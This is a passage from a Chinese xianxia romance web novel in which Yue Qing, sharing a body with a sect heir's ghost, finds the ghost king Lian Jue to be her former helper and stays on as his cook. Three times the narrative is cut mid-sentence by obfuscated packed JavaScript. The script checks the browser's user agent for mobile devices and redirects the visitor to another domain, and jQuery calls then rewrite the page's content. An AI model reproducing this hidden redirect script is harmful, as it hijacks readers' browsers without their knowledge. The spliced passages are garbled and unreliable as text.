还说,这个疤,形似月牙儿,这证明他们天生就是一对。
可此刻,独属于连绝的暗疤,鬼王的脖子上却也有。
7. 倾仙月(七)
其实连绝说过的。
他曾说过,“这世界上当然有妖怪,也有鬼怪,不过有我在,谁也不能伤你。”
“嗯…修仙界,修仙界就是能修仙的世界,当然真实存在,诶,不信我?我可不说谎。”
“我家啊,挺远的。哈哈哈,马车坐不过去,船也不行,对,得插上翅膀飞过去,没关系,我会飞,我带着你飞过去。”
少年眉飞色舞的表情仍旧历历在目,每个字眼都勾着笑音,就像初升的太阳,哪怕是坚硬如铁像石头一样的心肠也要捂化。
可再一晃神,对上的却是面前这双黯淡无光的眼眸与死灰般的面庞,冰冷地压抑在这古怪又诡异的大殿之中。
他还是他,她也是她。
他们之间,只有十来步远。
却整整隔着两个世界。
而她为什么总是理解不了他,此时此刻,也终于有了答案。
……
他面无表情地看着她,冷漠、疏离,语气无起伏,冷而淡,“你要杀我?”
月情如梦初醒。
如果早知此连绝是彼连绝,她是绝不会说出那番话。
她垂眸,喉中梗塞,连忙摇头。
风宁冷声讽刺道:“大王,不要轻信她。这人在芳华寺时可是十分咬牙切齿,恨不能提剑把我们戳出上万个窟窿。”
她哪有这般夸张?
月情心想再由他多说两句只怕至情至真夫妻也要拔刀相向。
她连忙抬起头,道:“非也,那并非我本意,只是净月宗少宗主身份使然,我不得不说的一番话。”
见连绝将目光落下来,月情顿了一下,而后深吸一口气,切切道:“表面上我是风光无两的净月宗少宗主,而背地里我却是个知足常乐,一心想做厨子的单纯少女。”
殿内一静,所有鬼都看向她。
月情毫不心虚,无比认真,张口就来,“这次在清剿大会上这么说,只是为了引起大王你的注意——”
她清清嗓子,深切道:“我怎么会咒你,给你做饭是我毕生的梦想,只是苦于没有门路,才铤而走险,还好风宁把我捉过来,否则我都见不到你。”
话落,殿内寂寂。
风宁道:“原来如此。”
蜻蜓道:“原来如此你个头,你还真信!”
少宗主也目瞪口呆,道:“你讲瞎话的本领可真是一套一套的。”
月情不为所动,只看着连绝。
连绝身着一套暗紫色的长袍,平素里高高扎起的马尾垂落,编成长辫垂于腰际,他生得高挑,往日里一件素衣便显得俊朗出尘,这会儿华服加身,金玉坠饰琳琅满目,更显矜贵俊俏。
就是太冷,不是眼神、表情的冷,而是从骨子里流露出来的冷漠,冷冰冰黑沉沉,看得人透不过气。
好似无情绝情杀人不眨眼的混世恶魔。
但月情太了解他,太熟悉他,心中所有的慌乱、恐惧、不安在确认他的那一刻便消失得一干二净。
她安安静静地待在那里。
暗暗地想,连绝一定会给她第三条生路。
这时,一个女鬼忽而轻啧了声,嗓音婉转动人,额上一朵妖艳蔷薇花,勾魂夺魄,“大王,我见这个妹妹生得这般好看,我见犹怜,若是丢了性命实在可惜…而且,她如此真情实意,叫人动容,不如便放她一马?”
风宁道:“秋苑,大王是鬼王,不是放马的。”
秋苑道:“……我提议,先把风宁拖出去斩了喂狗。”
蜻蜓道:“我举双手双脚赞成。”
连绝充耳不闻,他轻轻动了下眼珠子,神情恹恹,似是倦极,低声吩咐道:“把人都放了。”
他对她,对外面那群人都不太关心,是死无葬身之地也好,引起注意也罢,都不重要。
——没有什么是重要的。
果然是第三条路。月情心中念头轻转,眼见着他离去,挣扎一瞬,想追过去,可追过去又要问什么说什么呢,他终究不认识她,他终究不是她记忆中的他。
她免不了轻声叹气,倒是让风宁误会了。
他若有所思地围着她走了一阵子。
月情心情逐渐微妙。
这个风宁不仅没有智慧还十足疯癫,保不准他又要犯难——他突将手按在了她的肩膀上,月情只感觉到一阵寒意,鸡皮疙瘩起了一阵,他却突然深重地拍了拍,道:“别叹气,我懂你。”
月情:“?”
风宁暖心安慰她道:“仰慕大王是一件光荣的事,不要因此灰心丧气。”
于是乎,依鬼王连绝的吩咐,风宁又带着小鬼将捉来的其余人都放下山去,唯独月情因为声情并茂想做厨子感动风宁而被单独留下。
少宗主:“………”
月情没砍错,他就是个菜瓜脑子。
**
见云山毕竟是鬼窝,少宗主可谓是打起了十二分的精神,而其中,除了鬼王连绝,他手下还有四大护法需要格外谨慎。
其中唯一一个女子叫做秋苑,昨夜月情已见过,传说她是个花妖,真假不知,据说修为乃四大护法之首。
风宁月情打过交道,乍一看是风度翩翩的文雅君子,再一看才发现此鬼神经兮兮,精神有损,乃是只臭名昭著的癫鬼,而他的修为,只差了少宗主一线。
“大殿上与风宁搭话的若不出我所料,便是从不露面的蜻蜓,这只鬼情报甚少,我也说不出个所以然来。”
少宗主思索片刻,道:“最后一个你没见到的叫做重影,乃是鬼王最信任的手下。传闻在鬼王诞生时重影便跟随在他左右,是鬼王的得力干将,异常凶猛悍勇,修为应也在踏墟境。”
而这其中,对修仙界最有威胁最令人警惕的自然是鬼王连绝,但最招人厌、嫌弃的一定是风宁。
据少宗主所说,鬼王的四大护法,除了风宁以外,其余三个鲜少露面,包括连绝——他上次出山屠了半片修仙界,归隐后已经几十年没有大动作。
只有风宁,跟个跳蚤似的,时不时来这里搡一下,时不时去那里冒下头。
令修仙界烦不胜烦。
不过也得益于他脑子不好,相信了月情的胡言乱语,真给她安排了一个叫做梨花苑的屋子做厨房,否则昨天夜晚她俩就得被赶下山。
虽然这只鬼像个跳蚤,但月情寻思着,就凭他留下了她,他至少也得是个好跳蚤。
那小院子倒依山傍水,地界不错倒也辽阔,只是这鬼山头乃是座荒山,明明正是七八月万物繁茂之时,这地方却连片绿意都看不见。
太阳直直地晒着裸露的土地,长年累月之下地面应该干旱皲裂,见云山也当燥热难忍,可这里又诡异地十分阴凉,待清风徐徐从湖面经过,一片波光粼粼,拂来的则是凉风与阴气。
少宗主围在她身旁道:“眼下我们留在这鬼窝,可谓是身处险境。虽然那群鬼现在没对我们发难,但难保他们下一刻不发疯,须得十足小心。”
月情点头,摸着下巴,“他们和我想象中的鬼有些不一样。”
少宗主好奇地看向她,“哦?你想象中的鬼长什么样?”
“三尺长的舌头,三尺长的指甲,血淋淋的脸,包裹全身的长发,幽幽叫着,”她伸出手,露出青而发白的笑容,“还我命来、还我命来——”
“……”少宗主别扭地看着自己那张脸,“你冷静点,这些鬼生前可都是人,没有那么恐怖夸张。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950846|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>月情听此,微微一笑,又缓缓抚平了笑容。
生前都是人……她无声地抿唇,半晌无言。
第一次见面时,连绝才十七岁。
而风宁、秋苑、蜻蜓,也是年轻漂亮的模样,包括少宗主,他们都死在了最好的年纪,如烟火般易逝。
月情忽而后知后觉,整个见云山,竟只有她一个活人。
……
月情看向面前这一片辽阔的湖,长久地注视。
而后缓声道:“这里应该有鱼吧。”
少宗主噎了一下,没明白她怎么把话题跳到了鱼身上。
确认周遭没有别的人,月情提了寒烟飞至水面上。
她有心捉鱼,可谓是全神贯注,水面下轻微的波动即刻捕捉,一剑下去,刺了鱼带起,却看到一只活蹦乱跳但只剩鱼骨的怪物。
月情转头刺向另一边,连刺了几次全是这些鬼怪。
少宗主道:“这地方怎么会有好东西,你还惦记着吃呢?”
“我这是为了不让其余鬼起疑心,毕竟我在大殿上放言是一位只爱做厨子的单纯少女,”月情说着,看向那毫无波澜的湖水,绝望道:“但这湖里没有鱼,梨花苑里也没有米,甚至连口锅都没有,这让我怎么做饭?”
她严重怀疑风宁这癫鬼从来没见过厨房长什么样。
少宗主见她神情恍惚,如此真情实感,忍不住提醒她道:“你还真打算给连绝做饭?醒醒,他是个罪恶滔天的恶鬼,我们现在潜入鬼窝,留在这里,是为了打探敌情,寻觅良机杀了他。”
月情也猜到了少宗主愿意留下的原因。
但鬼王连绝也是连绝。
她太了解他,无恶不作者,绝不是他。
月情微微敛目,并没有应这句话,而是道:“但不给他做饭,我们也没办法留在这里,至于其他的,更不必提了。”
确实是这个道理,但少宗主还是忍不住抓狂,谁家好鬼要吃饭。
她闷声抱怨道:“这荒山野岭的,上哪给他做饭?”
一人一残魂最终都没想出办法。
到了傍晚时分,月情忽而从兜里摸到了从菁华那里顺来的果子,在手中掂了掂,转身朝着大殿去了。
作为平日里一顿不吃就饿得慌的贪吃鬼,月情不信连绝在这荒山能坐得住。
她有理由怀疑,他现在每天拉着张脸,不开心的原因就是没吃饱饭。
想当初,连绝在倾仙楼时,每次放饭都是第一个来最后一个走,还有好几次抓住他在半夜偷吃,问就是没吃饱。
月情寻思她一个开饭店的,居然让手底下的伙计饿肚子,不知道的还以为她是个没良心的抠门地主。
她的良心,一向大大的有。
于是她特意跟做饭的婶子提了一嘴,多照顾照顾连绝,务必让他吃饱。
婶子欲言又止,止又欲言,最后沉默地点了点头。
少年不知从哪里得知了这事,十分感谢地将月情拦了下来。
明明是锋利的眉眼,那时那刻却只有乖觉。
他歉疚道:“月师傅,我是得了病才吃那么多,并非是有意去偷吃。”
月情看他干净清澈的眼睛,觉得这个少年性子纯真,不会作假,不由地有几分心软,道:“我这里缺什么也不缺吃的,你若是去偷吃,反而叫我忏愧了。”
连绝只看着她,眼睛亮亮的,像某种小动物一般,单纯而无害,月情笑了笑,觉得这个半路捡来倾仙楼的小子还怪可爱的。
直到有一天,月情无意中看见某个单纯无害的少年一顿吃掉了三大桶饭,还一脸羞涩地说今日胃口不大好时。
月情:?
所以某种单纯小动物其实是饕餮?
8. 倾仙月(八)
晚上正是游魂们行动的时间,月情拿着果子走过去时,极阴殿外的石台上,不少死状各异的小鬼觑着幽幽的眼睛看她。
有少宗主这个咋咋呼呼的残魂在一旁,月情倒是习以为常,假装没看见地走上台阶,轻轻扣了扣兽首环,不久,大门就开了个缝,泄出一道白光。
她从缝里进去,一眼看见坐在长案一边的连绝,白皙的荧光下,他微微失神,垂首看着桌上的古画,像一尊被人精心修饰描绘的彩漆雕塑,定格在此瞬间。
月情静步走过去,抓握着果子的手指尖冰凉一片,片刻,她才把那些倒出来放到长案上,微笑道:“大王,这个果子滋味甘甜,清脆可口,请您品尝。”
连绝的目光在她脸上和煦的笑容上停留了一下,而后转移放到了一边的蜻蜓身上。
蜻蜓噎了下,当机立断吐露实情,“是风宁把她留下的,让她当我们见云山第一个也是唯一一个厨子。”
连绝的神情仍旧平静,甚至平静到有些冷酷。
他道:“送她下山。”
月情连忙说:“我不下山!”
话音落,殿内两只鬼都看了过来,月情对上连绝灰暗的眼眸,又对上了蜻蜓震惊发颤的瞳孔,寂静中,她为难地吞咽了下唾沫。
半晌,月情低咳一声,而后在心里对月如龙说了句对不起,酝酿片刻,沉声道:“其实,我本来只是个喜欢做饭的小姑娘。但因为天赋太好,被大伯逼着修炼,表面上我很风光,但我的内心无比煎熬。”
“我每日手持寒烟修习剑法,心中所念却是一把平平无奇的菜刀,可是——”月情说到这里,难过地哽咽了一下,控诉道:“可是大伯却强迫我修炼!”
已无力吐槽的少宗主:“……”
月情声泪俱下,难过地说,“大王,我只是想自由地做自己而已,在修仙界,无处有容我之身,恐怕只有这里——可大王却要送我下山……也不肯容我。”
蜻蜓一言难尽,“真是为难你了。”
月情抹泪道:“不提也罢。”
说着叹气,再看向连绝,把那干净的,蕴含着灵气,散发出甜香的果子,呈出来,真诚地说:“大王,你饿吗?我这里还有不少。”
少女清澈的双眸里布满了关心,是真心实意地在意他饿不饿。
见他看过来,期待的双眸更亮了一分,里面,仅仅倒映着他的身影。
连绝的眼珠轻轻转动了一下,她的眼神、神态里没有半分的虚情假意。
他不由轻轻敛眉,半晌后,微一颔首,算是表态。
月情见此心中一动,笑意渐深。
她放下了灵果,并不打算久留,只道:“谢谢大王收留。”
她离开后,连绝挥了下手,长案上圆滚滚红彤彤的果子咕噜咕噜地滚了过来,一直落到蜻蜓面前,后者略一抬眼,便对上自家大王平静的视线。
蜻蜓:“………”
外间传闻连绝如何凶残如何残暴,其实不然。
连绝这个鬼王也不像鬼王,他平素里要么发呆,要么出神,总之,如果没人管他,他可以一只鬼坐在那里看太阳东升西落十万年。
鬼留存世间,不消散于天地,那代表这只鬼有执念,不肯离去。
而执念越深,力量越强。
强如连绝这般如鬼王出世,那必然是刻骨铭心,狰狞扭曲,死也不能消解,毁灭世界也不足以释怀。
但连绝的表现却像无欲无求,简直比芳华寺的大师更超凡脱俗,若不是鬼王,简直可以立即送入芳华寺当场出家。
法号就叫无念大师,说不定还能荣升住持。
蜻蜓想到那场面,不由乐出了声,下一秒即刻对上一双古井无波的眼眸。
“……”
他低咳一声,连忙端正自己的态度,假装什么都没发生似的拿起果子,咬了口后,眼睛一亮,“大王,这个还挺好吃的。”
连绝扫了眼,捏住了其中一个,闻起来的确很香甜,他不由想起那女子,方才站在他身边时,身上也有一股淡淡的冷香。
他慢慢地搭落下眼睫,并不想放在心上,只道:“喜欢就都给你。”
蜻蜓没有察觉出他的异样,含糊地啃着果肉,狗腿道:“谢谢大王。”
**
与此同时,修仙界金轮城百里外某处树林。
风宁让手下把捉回来的一众小弟子扔在地上,又单独将玉蟾宫的拎了出来,凶残地绑起来,用竹藤缠着吊在了树上。
“大王虽然让我把人放了,但不能这么白白地让他们走,必须给他们一个教训。”风宁龇牙道。
“护法说得是,修仙界这些人最是可恶,必须让他们吃吃苦头,”青面小鬼翻出一尾长鞭,刚要呈上去,众人却听到一声凤啸,树林上方飞出一只金光灿灿的金凤凰,灼热明亮,刺得众小鬼纷纷伏首,戚戚地惨叫起来。
青嫦认出是谁,惊喜道:“靖庭师叔!”
风宁微怔,而后哈哈哈大笑,同样惊喜万分,道:“小师弟,别来无恙。”
只见风声大噪,圆月高悬,一人立于高树之上,乘风而落。正是玉蟾宫宫主最小的弟子,号清玄真人的靖庭。
靖庭形容冷肃,目光凛冽,微撩起眼皮,起先将青嫦几个外门弟子从树上带落,复而卷起一道罡风直拍风宁。
风宁侧身躲开,于黑夜之中,形如魅妖,速度绝尘,再现身已刺向靖庭的面门,挑眉笑道:“听说你与芙蓉师妹好事将成,师兄我未准备贺礼,实在失仪,师弟不会怪罪于我吧?”
“既然已经决定背弃玉蟾宫,何必自诩师兄,身着玉蟾宫校服,”靖庭沉眉,一双眼,藏着滔天的怒意,他猛地抖出手腕将风宁震出,诘问:“风宁,你可有悔?”
“悔?”风宁嘻嘻笑起来,无比诡异地动了下眼珠子,看着他,“我生是玉蟾宫的人,死是玉蟾宫的鬼,悔从何处而来?”
“你如今投身鬼王连绝,残害修仙界
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950847|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还敢说是玉蟾宫的人,”靖庭冷声,“老宫主待你不薄,你便是如此报答他的?”
“师弟,我说了,我已经死了。死后人为魂,魂聚鬼王下。生前,我自当为玉蟾宫效力,死后,我必为鬼王鞍前马后。普天之下,孰人不懂这样的道理,除了你——真不知芙蓉为何能看上你,”风宁一边讽他,一边又记起笑话来,嘻嘻哈哈,勾唇厉声道,“是了,她的确看不上你,她对我说,在这世界上,最顶天立地的男人是我,最钦佩的人是我,最喜欢的也是我。”
他不屑道:“你是谁?被我踩在脚下不值一提的废物罢了。”
靖庭紧握手中剑,青筋暴起,持剑而上,风宁一面笑他恼羞成怒被说中痛点,一面快速招架,眨眼间,两人已过数招,乃是琤琤剑鸣声不绝于耳,刀光剑影中分不清白天黑夜。
风宁出招狠厉阴损,不止是冲着靖庭的命门,甚至能借力伤人,心知靖庭心中顾虑,愈发肆无忌惮,剑气频生,所取皆是俩人附近步步难行的年轻弟子。
靖庭见招拆招,在中间十分束手束脚,顷刻即挂彩,风宁见到血,愈加得意疯狂,一双眼瞳,猩红若血滴子,十足骇人。
青嫦看到他流血,吓得呆了,正这时,空中剑芒如流星,道道追了过来,她一喜,立即道:“靖庭师叔,救兵来了!”
她看到了,风宁自然也看到了,当下不做纠缠,收剑道:“撤!”
他要走,靖庭自然不依,攻势压上,风宁步步退后,赶在来人前消身撤退。
陆芙蓉一来便见到靖庭半身是血,连忙行过来扶住他,“靖庭,你怎么样?”
“无事,”他轻声说着,盯着前方黑暗处,道:“风宁负伤而逃,走不了多远,你吩咐人向前追去。”
陆芙蓉顿了下,微微敛目,扶着他的手指渐渐缩紧。
靖庭转目看向她,黑暗中,二人对视一瞬,很快,陆芙蓉即恢复神色,淡声吩咐人往前去追,又侧身过来清点这次带来的弟子。
“几位小友,可看见晚晚了?”
月情离开之前让人特意知会了一声净月宗的人,不想一走几乎一天一夜没有消息,传信玉符里也说月情没回净月宗,月如龙心中焦灼不已,闻得广场上有人道这里有动静,连忙追了过来。
青嫦倒是记得路上风宁提及过几句,欲言又止。
月如龙眼尖,走过来且问:“小姑娘,你见过她?”
青嫦说:“少宗主她…她被风宁扣下了。”
她嘶了声,十分羞耻难言,“风宁说少宗主立誓要给鬼王当厨子,死活不肯下山,鬼王让她走她也不走,又哭又闹,在地上撒泼打滚,声称她若做不成厨子便人生无趣不如一死了之……”
“风宁见此于心不忍,苦苦哀求鬼王成全她,”青嫦转述着,鸡皮疙瘩起了一身,“于是,在大善人风宁的帮助下,可怜的少宗主终于梦想成真,成为了鬼山第一个也是唯一一个厨子。”
月如龙:“???”
9. 倾仙月(九)
薄雾散去,日光升上天空。
月情在荒芜的小院里站了一会儿,忽而蹲下,死马当活马医地将昨日吃剩的果核挖坑埋好,又把湖中的骨鱼捣碎连着落叶搅拌施作肥料,浇了些水,自我催眠着它能长出一株果苗。
少宗主正四处查看着院落的地界,见她蹲在这里浇水,纳闷道:“你在做什么?”
“种树,”月情一字一顿认真道。
少宗主无语,恨不能实有形质,将她晃醒,道:“等你种成,修仙界早亡了!”
月情同样郁闷,道:“昨天已经把果子都送出去了,不种树也没有别的吃的了。”
少宗主道:“你昨天就该只给一个,这样还能多送几次。”
月情:“不行,只给一个他吃不饱。”
少宗主:“……”
她为什么要一本正经地和月情争论这个问题?
堂堂鬼王还会被饿死?
少宗主感觉自己的智商在被狠狠摩擦,她看着还在犯愁的月情,道:“好了,你先别想你那果子了,咱们还是好好考虑怎么在见云山活下去,如何取得连绝的信任,否则一切免谈。”
月情自然也想取得连绝的信任,与他靠近一些,最好能摸清他的底细与性情大变的原因,只是眼下没有正当理由,她也不好贸贸然往上凑。
不过得知他在这里,也算是不幸中的万幸了。
果树是肯定种不成的,没办法,月情只能和少宗主一起去探查地形。
这荒山其实长了野草野树,但这些草木形状各异,并且枝节错乱萎缩,从头至尾,全部焦黑,也不知是经受了什么,竟变成了这幅模样。
月情靠近过去仔细地看了看,发现这些草木颜色发黑,根部血红,掘地而挖,血水顿时渗渗地往外流,一股腥臭扑鼻而来。
她顿时蹙眉起身,退避三舍。
月情听老一辈说过,这血土底下埋着的东西可不简单,那是道上的人都轻易不敢动的。
况且这里是鬼窝。
搞不好挖出一具千年血尸。
月情顿时决定回去种树,不管怎样,起码那个安全。
正想打道回府,却闻湖中水花声响,侧目一看,竟是连绝。
他在湖中亭,远望对岸风景,手侧零零碎碎地摆着几块扁平的石头,只微微抬手,施以巧劲,石头便飘着水面,灵巧地跃动,愈飞愈远。
直击了十来下,才沉入湖底。
月情见此景,想起之前的一桩旧事。
那是连绝刚来倾仙楼的时候,虽然是个外地人,但他性子热切,逢谁都是张笑脸,很快就同街边的左邻右舍混了个眼熟,还收编了一支半大小子的队伍做大哥。
那几个小子是整条街上出了名的不学好,整天不是偷鸡摸狗,就是惹是生非,家里大人也没时间去管教,任由他们胡闹,是整条街上的“混世小魔王”,没想到却被一个新来的给折服了。
月情得知后,不由笑道:“真难得,他们也有听人话的一日了。”
“说来我也是凑巧,”连绝掂了掂手中的石块,挑眉一笑,道:“上次我在河边随手掷了一石,轻松连击至对岸,没成想给他们看了去,便对我钦佩不已。”
月情瞧他神气的模样,忍不住莞尔,打趣着说,“恭喜,一来就收了好几个小弟。”
“月师傅不要笑话我,”连绝却又不好意思起来,停顿一二随之道:“旁人的小弟个个威风凛凛,足智多谋,我的小弟可好,当街被他爹捉住脱了裤子扇屁股,这个大哥,不当也罢。”
月情闻言,噗嗤一声笑了。
此番忆起前事,月情仿佛还能想起他当时半蹙眉头,似恼似笑的神情。
一切恍如昨昔。
她忍不住想,眼前这只死气沉沉的鬼王是怎么变成那时候鲜活多彩的少年的。
这变化之大,令人晃眼。
月情沿着石桥走过去,靠近至湖中亭。
连绝并没有反应,一无欢迎,也无斥责,仿佛她只是一缕无甚重要的天边云彩。
月情恍若无觉,“大王,见云山的土地肥沃湿润,气候相宜,为何没有野果野菜?”停顿一下,继而问,“方才我发现这里的树大都枝干发黑,深根渗血,实在诡异,不知是何缘故。”
她说得话寻常,可面对之人却不寻常。
昨夜少宗主就想说了,对她深深折服道:“月情,你有这个胆量做什么都会成功的。”
月情闻言微微扯唇。
连绝终于分出一缕目光,其实他的眼睛生得是一双桃花眼,逢人看去,不论有情无情人人皆道情深意重,乃是一双极其漂亮的含情眼。
但今朝,他的眼睛却灰暗无光,一个人端坐在湖中亭,与阴沉沉的天色自成一景,无比孤寂,无比寥落。
这让月情想到了四个字——行尸走肉。
他低声道:“见云山阴鬼诸多,虽是人间修行之所却仿若幽冥鬼府,阴气深重,万物不可生长。”
月情回过神,听到他淡而轻的声音,喃喃道:“原来如此……”
连绝的目光落在她身上,那样直白又穿透性的眼神,仿佛看穿了她的身份。
沉静之中,他倏尔问,“你叫什么名字?”
话落,少宗主整个残魂紧绷不得动弹。
她张了张唇瓣,下意识道:“月亮的月,真情的情。”
连绝听了后,眼眸中似乎多了些什么,眸色深了一分,但很快即恢复如常,静静地点了点头。
月情若有所思,看着他冷淡的脸,猜想他或许并不在意,毕竟于他而言,眼前人是风是草,是云是土都不重要。
她也云淡风轻地揭过这一茬,假装随意地与他继续相谈,“大王觉得昨天的果子如何?”
连绝停了一下,是木然的神色。
她随意的一句问候却像一道沉沉的枷锁,困住了他一般,以至于他说不出一个字。
寂静之中,一阵轻风拂过,荡开水波一片,泠泠寂寂,衬得此刻的湖中亭愈发孤冷。
而他独坐其中,与她明明只有几步之遥,却像隔着一道天堑。
月情顿在原地。
他不喜欢?
这不可能。
连绝是连炒菜的配料都会吃干净的人,葱姜蒜哪怕是花椒,他都不嫌弃,做什么吃什么,从不挑食。
她看着那半张熟悉的侧脸,微微地失神,暗暗想,他变了,变得实在是太多了。
一路回到梨花苑,月情仍旧在琢磨他为什么会变化这般大。
她合上门,突然看向一旁一声不吭,紧绷残魂的少宗主。
“少宗主,你与鬼王曾经打过交道?”
少宗主吓了一跳,回过神来,连忙道:“没有。”
月情听到她这么说多盯了她一眼。
少宗主不认识连绝,可连绝的反应却像是认识她的,甚至还有几分在意。
想起少宗主之前说过他们之间的仇怨。
月情酝酿了语气,斟酌字句,“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950848|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与他之间的杀父之仇…是怎么个缘由?”
少宗主沉默半晌,再开口时,无比愤恨沉痛,即使努力控制自己,仍旧免不了牙齿打战,“我们净月宗有一净月秘法,可吸月华为己所用,对天生阴体的人极其适用,而连绝是鬼王,这秘法对于他来说简直是百利而无一害,便心生歹念,杀我爹夺取秘法。”
说到这里,她难过神伤不已,恨道:“此仇不报,我死不瞑目!”
杀父之仇,难解难消。
这的确是令人失去理智,痛不欲生,哪怕倾其一生都无法释怀的苦难。
月情感到心脏在抽痛,她意识到这是少宗主这具身体常年留下来的反应,一时间,她呼吸颤动。
她被少宗主痛苦、悲伤的恨意感染,竟是拿起了寒烟,恨不能杀回去。
月情连忙止步,冷静下来,大口大口的呼吸。
她道:“虽然我不了解你们之间经历了什么,但身为局外人,我感到这其中不太寻常。”
少宗主看向她,浑身的戾气还未消散,疑道:“不寻常?”
月情冷静分析,“嗯,以你声名在外的情形来说,鬼王不可能不知道你的存在,再牵扯出旧情,应该会料想你日后必成大患,应当尽早除之,而不是放任你成长,甚至留你在身边。”
在这鬼窝里,连绝想要除掉她们不要太简单,可他却仅仅是想把她们赶出去,甚至还睁一只眼闭一只眼地容许了她们的存在。
如少宗主所言,他真是杀人夺宝的小人,这么好的机会又为何不斩草除根?
少宗主却根本听不进去,大声反驳道:“他所杀之人多如牛毛,早不知当年所杀何人,也不知我是谁,今日在亭外还问我姓名,说明并不相识,也并不记得与我有仇!”
她咬牙切齿,恨道:“但我记得,我即使沦落至此,也绝不会放过他!”
月情无言以对。
她知道,再说也无用。
毕竟是杀父之仇,以少宗主的性子,没逼着她去和连绝拼命都算得上冷静。
她的眼睛早已经被仇恨蒙蔽,乃至于她的一生都被仇恨所滋养,她活着是为了报仇,死了也不肯忘,岂会是月情三言两语能消解的。
好半晌,少宗主才平复下来,闷声催促她去修炼。
月情沉默地盘腿坐下,开始运行她之前教授的那套心法,待再睁眼时,已夕阳西下,暗蓝色的天幕逐渐吞噬光线,整个空间都显得逼仄。
她起身点上梨花苑的小灯,听到外面昼伏夜出的小鬼传来的响声,默默地关紧门。
少宗主知道她还没法适应修仙界,一直和普通人一样习惯吃饭睡觉,见到了晚上,不再逼她修炼,让她自行洗漱休息。
月情却睡不着,躺上床后一直翻来覆去,少宗主看了她好久,忍不住问道:“你怎么了?”
月情坐起身,道:“我在想我来到这里的原因。”
少宗主愣了下,记起她一直心心念念着要回去,顿了顿,闷声问:“你想出什么了吗?”
其实不用想也猜到是什么原因了。
她脑海中盘旋着中元节那天夜里,连绝所言的古怪传说。
“……据说在中元节那一夜,人会梦见另一个世界的鬼魂,甚至通过梦境沉沦在鬼府……”
所以她是因为那个古怪的梦才来到这里。
月情拧眉,一遍又一遍地回想着那个梦。
她忽而顿住,张大了双眼。
——有一个细节,她一直遗漏了。
10. 倾仙月(十)
月情转过头,看向少宗主,眼眸发暗,语气沉重,“少宗主,这修仙界可有以金阳烈日为徽的宗门?”
净月宗以弯月为徽,玉蟾宫以金蟾为徽,月情所见两家校服上都有徽文形路,而梦里所见,那群迫害连绝的人便身着一套黄金色校服,衣领滚边处有灿金色烈日的暗纹。
“金阳烈日?”少宗主道:“那便是逍遥门。”
逍遥门——
月情默念了三遍,眉头紧蹙,缓缓收紧了手。
少宗主道:“不过他们早已经灭门了。”
月情一顿,“灭门?”
说到这里,少宗主抱臂冷哼,“几十年前,逍遥门是修仙界三大宗门之一,权因鬼王连绝出世,所屠第一个宗门即是逍遥门。宗门长老、关门弟子一个不留,凡是鬼王出境,血流成河,尸横遍野,可怖至极!”
少宗主冷沉沉道:“所以鬼王可恨,修仙界人人得而诛之。”
血流成河,尸横遍野……
月情目光沉沉,这么大的事,想要颠倒黑白实在是太难了,连绝即使不至于如此夸张,但手上也一定满是鲜血。
只是结合那梦境来看,屠杀一事虽为真,却是在寻仇。
只单单地下水牢的折磨,就令人痛苦非常。
她长久地沉默,半晌,才哑声问:“他为什么会变成鬼?”
少宗主愣了一下,厌弃道:“怪他自己心生贪恋。他本是流云府青云城人,听说是青云学院的一名修仙弟子,不过资质平平,因此眼红旁人,如痴如魔走上邪路,被诛杀后竟化为了厉鬼,简直是丧心病狂!”
走上邪路被诛杀,可逍遥门对付连绝的却是刑讯的手段——他没有被诛杀,而是被折磨致死。
这些话,一个字都不能信。
少宗主又道:“你怎么忽而提及了逍遥门?”
月情深深道:“我之前做梦,梦到一群穿着逍遥门校服的人折磨一个手无寸铁的少年,伤势可谓惨不忍睹。原以为是你口中的鬼王等人所为,没想到是修仙界的宗门。”
少宗主愣住,忍不住皱眉道:“怎么可能,这只是个梦……”
月情无声地笑了笑,在黑暗中的眼瞳藏着冷意,她轻声说:“我也希望它只是个梦。”
少宗主不由蹙眉,她总感觉月情有意在指什么,还不待她仔细询问,外面突然传来敲门声,顿时警惕起来——在这鬼窝里,敲门的反正不会是活人。
“可是月姑娘居住在此?”外面小鬼的声音又细又柔,且道:“我们秋苑护法请你去极阴殿。”
秋苑,月情脑子里闪过大殿上女鬼那张昳丽的脸,记得她当时在大殿上替自己说过话,与她结了个善缘。
月情整理好情绪,回身应了句,推门而出,一路跟着小鬼去往极阴殿。
秋苑已在里头等候,听见声响,起身笑意吟吟地相迎,“少宗主快请进,难得见云山有个客人,我啊,总算是能找个人说说话了。”
少宗主听她这么说,鸡皮疙瘩起了一身,与月情小声咬耳朵道:“这个女鬼修为高深,你且小心。”
月情若有所思,同秋苑客气行礼道:“秋苑护法。”
